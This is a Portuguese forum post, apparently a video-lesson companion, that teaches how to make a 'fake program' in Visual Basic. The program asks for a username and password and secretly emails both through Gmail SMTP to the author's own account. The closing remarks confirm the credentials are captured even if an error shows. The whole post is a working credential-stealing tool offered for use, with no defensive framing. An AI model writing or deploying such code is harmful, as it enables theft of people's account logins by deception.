Video Aula VB 2008/2010

                            Aprendendo a fazer programa fake


 Fala galera hoje vou postar como fazer um programa fake no visual basic 2008 ou 2010 mais recomendado no 2008 no 2010 pode dar alguns erros hoje será video aula toda video aula tera um tutorial escrito Em breve postarei o escrito postado na area dos tutoriais




Code :

Imports System.Net.Mail
If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Missing!")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail account", "Your Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail account")
        mail.To.Add("Your Gmail account")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Text Here")




Observação : Somente Gmail pode ser usado para que funcione sem falhas, mais uma coisa esses codigos são melhores no visual basic 2008 no 2010 custuma dar erros mais isso não quer dizer que não ira funcionar o programa sim ira funcionar mais provavelmente irá surgir um erro na hora de enviar as informações para seu e-mail, isso não quer dizer que não ira pegar, sim ira pegar mais vai aparecer um erro somente !